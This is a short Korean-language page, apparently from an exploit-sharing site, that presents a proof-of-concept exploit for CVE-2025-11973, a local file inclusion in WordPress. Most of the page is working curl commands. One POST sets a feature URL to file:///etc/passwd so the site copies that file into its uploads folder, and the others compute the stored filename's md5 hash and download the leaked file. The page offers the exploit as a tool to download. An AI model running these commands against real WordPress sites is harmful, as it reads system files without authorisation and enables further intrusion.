CVE-2025-11973 — CVE-2025-11973에 대한 개념 증명 익스플로잇으로, WordPress에서 file:// 프로토콜을 통한 로컬 파일 포함(LFI)을 보여주며, /etc/passwd를 업로드 디렉토리로 자동 유출합니다. | Kitploit

트리거: `/etc/passwd`를 `file://`로 읽고 업로드로 유출

curl -sS -A "$UA" -X POST "$BASE/?__kds_flag=post" \
  --data-urlencode "kds_password=$SECRET" \
  --data-urlencode "post_title=sub1-lfi" \
  --data-urlencode "__kds_feature_url=file:///etc/passwd"

유출된 파일 검색

저장된 파일 이름 계산

HASH=$(printf 'file:///etc/passwd' | md5sum | awk '{print $1}')

파일 가져오기

curl -sS -A "$UA" "$BASE/wp-content/uploads/$YMD/${HASH}.jpg" | head -n 25

도구 다운로드